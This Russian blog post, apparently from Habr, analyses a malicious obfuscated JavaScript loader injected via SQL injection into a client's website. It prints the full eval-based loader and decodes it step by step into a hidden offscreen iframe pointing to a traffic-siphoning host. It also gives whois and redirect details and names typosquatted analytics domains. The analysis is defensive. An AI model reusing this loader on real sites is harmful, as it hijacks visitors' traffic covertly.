Приветствую Вас уважаемое хабра-сообщество. Хочу поведать Вам о том, как сливали трафик у одного из моих клиентов.
Сидел я поздним вечером, и решил пройтись по сайтам клиентов, и на одном из них, я увидел, что чуть-чуть сместился один div.
Посмотрев исходный код и пролистав его туда-сюда раз 10, я увидел, что скрипт подгружается с интересного домена:
Трудно заметить, что последний подключаемый скрипт ведет на goog1(цифра)e-analitics.com
В первую очередь, мне было интересно, не то, как он туда попал, а что он из себя представляет.
Далее уберем 16-ричную систему функцией unescape
Теперь мы привели скрипт к читаемому виду, и теперь хорошо видно, что создаётся ифрейм на адрес vbnieewr.ru/in.cgi?default.
Далее пробив домены по whois я узнал, что они созданы недавно:
Получил заголовки ответа от скрипта vbnieewr.ru/in.cgi?default
И понял, что идет банальный слив трафика, и скорее всего через скрипт Sutra TDS.
Примерная схема работы:
Адрес админки я подобрать не смог, но может кто нибудь из хабра-юзверей сможет.
Кстати, данный js скрипт вставили из-за sql инъекции, которую удалось найти по логам и благополучно закрыть.
UDP: Новый URL с подобным скриптом: yandex-metrika.com/watch.js
На всякий случай проверьте свои сайты на подобный код.
Сидел я поздним вечером, и решил пройтись по сайтам клиентов, и на одном из них, я увидел, что чуть-чуть сместился один div.
Посмотрев исходный код и пролистав его туда-сюда раз 10, я увидел, что скрипт подгружается с интересного домена:
Трудно заметить, что последний подключаемый скрипт ведет на goog1(цифра)e-analitics.com
В первую очередь, мне было интересно, не то, как он туда попал, а что он из себя представляет.
var $h = ((\u0073elf + 0 * 1)[0 ^ ([] * 0)] == '\x5B');
if ($h)
{
$j = ['1^%0.%4[%b/%5=%c;%d_%8|%6?%3>%f-%9!%7$%e', '%a)%2('];
}
var $d =
{
'$sA': 'str\x69\x6Eg',
'$l6': [],
'$EI': '\x6A\x6Fin',
'$qH': '\x73\x75bstr',
'$fJ': 'decode\x55\x52\x49\x43\x6F\x6D\x70\x6F\x6Eent',
'$FP': true,
'$2K': 'sp\x6C\x69t'
},
$sA = function (_)
{
for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
{
$j += '\x25' + $P[$g++] + $P[$g--];
}
$E['eva\x6C']($E[$d.$fJ]($j));
},
$P = '$??^$((.=-$^>_=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?>$(?=?^$[=;$=>.>.>?>==;$=>.>.>[>==;$=>.>.>?[>=;$=>.>.>?>=?_?=?#$[(|($?!??$(?^=;$|>?[[=;$|>?>=($(!(;=-?#>_($$>=;$|>?>==;$|>$>[=;$|>[>^=;$|>$>[=;$|>$>[=;$|>$>(?!?($=$[?=($>/=-$^=/=-?#=_(|($=;$|>$>>$(?>($(;($?|$[$[$.>)(-(-$??(?#?!?=?=$$$(=;$|>([==;$|>$>(=;$|>$>==;$|>([?=;$|>?>!=;$|>?[==;$|>([==;$|>?>>=;$|>?>$=;$|>?>!=;$|>>[?=;$|>?>[=;$|>?>==;$|>?>?=;$|>?>^=;$|>$>=?;$[($(!>/=-$^(#$>$[$!?;?=(#$.?-$>?!$[?!?-?#>_($?^?($>=;$|>?[?=;$|>?[>=;$|>$>==;$|>$>[?=($>/=-$^(#$>$[$!?;?=(#$$?!?[$[?|>_($>^>?$.$|($>/=-$^=/=-?#=_(|($??$(=;$|>?>^=;$|>?[[=;$|>?>=?(?-$(?[?=$(($(;(.?#?^$?=;$=>.>.>?>!=;$=>.>.>?>$=;$=>.>.>?>^$[?-$((#$=$>?==;$=>.>.>$>(=;$=>.>.>[>^=;$=>.>.>?>$?=?#$[(#?!=;$=>.>.>?[==;$=>.>.>?>[=;$=>.>.>?>=$|[-??(|($??>.?^>$?^>^>[>(?(>$>=>=>^>$>(?[?^>$>(????>$>[?^>^?^?>>(>=>^>!>!($(!(/>^(!>/=-$^(#$>$[$!?;?=(#?;?=??$[(.>_(.($(_>=>=>!>$$.$|($>/?[=;$=>.>.>?[?=;$=>.>.>?>>$=?_?=?#$[(#$$=;$=>.>.>$>(?!$[?=(|($>;?[?!$?(.?!?[>_=;($=-=-?[$(>^>^>!>>>|=;($>#>;(-?[?!$?>#($(!>/=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?$?=$[[=?;?=?_?=?#$[[($![!?[(|($=-=-?[$(>^>^>!>>>|($(!(#?^$.$.?=?#?[[>?|?!?;?[(|=-$^(!>/',
$w = function ()
{
$w = $j[$d.$EI]('\x23')[$d.$2K]('\x25');
for (var $1 in $w)
{
if (typeof($w[$1]) == $d.$sA)
{
$P = $P[$d.$2K]($w[$1][$d.$qH](1))[$d.$EI]($w[$1][0]);
}
}
return this;
},
$E = $w(),
$j = '';
$sA('le\x6E\x67th');
Раскодируем поэтапно скрипт воспользовавшись обратными функциями:
Результаты первого прохода:
var $h = ((\u0073elf + 0 * 1)[0 ^ ([] * 0)] == '[');
if ($h)
{
$j = ['1^%0.%4[%b/%5=%c;%d_%8|%6?%3>%f-%9!%7$%e', '%a)%2('];
}
var $d =
{
'$sA': 'string',
'$l6': [],
'$EI': 'join',
'$qH': 'substr',
'$fJ': 'decodeURIComponent',
'$FP': true,
'$2K': 'split'
},
$sA = function (_)
{
for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
{
$j += '%' + $P[$g++] + $P[$g--];
}
$E['eval']($E[$d.$fJ]($j));
},
$P = '$??^$((.=-$^>_=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?>$(?=?^$[=;$=>.>.>?>==;$=>.>.>[>==;$=>.>.>?[>=;$=>.>.>?>=?_?=?#$[(|($?!??$(?^=;$|>?[[=;$|>?>=($(!(;=-?#>_($$>=;$|>?>==;$|>$>[=;$|>[>^=;$|>$>[=;$|>$>[=;$|>$>(?!?($=$[?=($>/=-$^=/=-?#=_(|($=;$|>$>>$(?>($(;($?|$[$[$.>)(-(-$??(?#?!?=?=$$$(=;$|>([==;$|>$>(=;$|>$>==;$|>([?=;$|>?>!=;$|>?[==;$|>([==;$|>?>>=;$|>?>$=;$|>?>!=;$|>>[?=;$|>?>[=;$|>?>==;$|>?>?=;$|>?>^=;$|>$>=?;$[($(!>/=-$^(#$>$[$!?;?=(#$.?-$>?!$[?!?-?#>_($?^?($>=;$|>?[?=;$|>?[>=;$|>$>==;$|>$>[?=($>/=-$^(#$>$[$!?;?=(#$$?!?[$[?|>_($>^>?$.$|($>/=-$^=/=-?#=_(|($??$(=;$|>?>^=;$|>?[[=;$|>?>=?(?-$(?[?=$(($(;(.?#?^$?=;$=>.>.>?>!=;$=>.>.>?>$=;$=>.>.>?>^$[?-$((#$=$>?==;$=>.>.>$>(=;$=>.>.>[>^=;$=>.>.>?>$?=?#$[(#?!=;$=>.>.>?[==;$=>.>.>?>[=;$=>.>.>?>=$|[-??(|($??>.?^>$?^>^>[>(?(>$>=>=>^>$>(?[?^>$>(????>$>[?^>^?^?>>(>=>^>!>!($(!(/>^(!>/=-$^(#$>$[$!?;?=(#?;?=??$[(.>_(.($(_>=>=>!>$$.$|($>/?[=;$=>.>.>?[?=;$=>.>.>?>>$=?_?=?#$[(#$$=;$=>.>.>$>(?!$[?=(|($>;?[?!$?(.?!?[>_=;($=-=-?[$(>^>^>!>>>|=;($>#>;(-?[?!$?>#($(!>/=;$=>.>.>?>[=;$=>.>.>?[??>$=?_?=?#$[(#?$?=$[[=?;?=?_?=?#$[[($![!?[(|($=-=-?[$(>^>^>!>>>|($(!(#?^$.$.?=?#?[[>?|?!?;?[(|=-$^(!>/',
$w = function ()
{
$w = $j[$d.$EI]('#')[$d.$2K]('%');
for (var $1 in $w)
{
if (typeof($w[$1]) == $d.$sA)
{
$P = $P[$d.$2K]($w[$1][$d.$qH](1))[$d.$EI]($w[$1][0]);
}
}
return this;
},
$E = $w(),
$j = '';
$sA('length');
Результат второго прохода:
var _q = \u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),
_n = 's\x65\x74\x41\x74\x74\x72ibute';
_q[_n]('\x73rc', 'http://vbnieewr\x2E\x72\x75\x2F\x69\x6E\x2E\x63\x67\x69\x3F\x64\x65\x66\x61\x75lt');
_q.style.position = 'abs\x6F\x6C\x75\x74e';
_q.style.width = '16px';
_q[_n]('fr\x61\x6D\x65border', nav\u0069\u0067\u0061tor.use\u0072\u0041\u0067ent.i\u006E\u0064\u0065xOf('f0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
eval('<div id=\'__dr11938\'></div>');\u0064\u006Fcument.getElementById('__dr11938').appendChild(_q);
Далее уберем 16-ричную систему функцией unescape
var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://vbnieewr.ru/in.cgi?default');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('<div id=\'__dr11938\'></div>');
document.getElementById('__dr11938').appendChild(_q);
Теперь мы привели скрипт к читаемому виду, и теперь хорошо видно, что создаётся ифрейм на адрес vbnieewr.ru/in.cgi?default.
Далее пробив домены по whois я узнал, что они созданы недавно:
domain: VBNIEEWR.RU
nserver: ns1.ubercontrol.ru.
nserver: ns2.ubercontrol.ru.
state: REGISTERED, DELEGATED, VERIFIED
person: Private Person
registrar: REGRU-REG-RIPN
admin-contact: www.reg.ru/whois/admin_contact
created: 2012.01.13
paid-till: 2013.01.13
Получил заголовки ответа от скрипта vbnieewr.ru/in.cgi?default
array(23) {
[0]=>
string(18) "HTTP/1.1 302 Found"
...
[4]=>
string(22) "Location: http://ya.ru"
....
[5]=>
string(17) "Connection: close"
...
И понял, что идет банальный слив трафика, и скорее всего через скрипт Sutra TDS.
Примерная схема работы:
Адрес админки я подобрать не смог, но может кто нибудь из хабра-юзверей сможет.
Кстати, данный js скрипт вставили из-за sql инъекции, которую удалось найти по логам и благополучно закрыть.
UDP: Новый URL с подобным скриптом: yandex-metrika.com/watch.js
На всякий случай проверьте свои сайты на подобный код.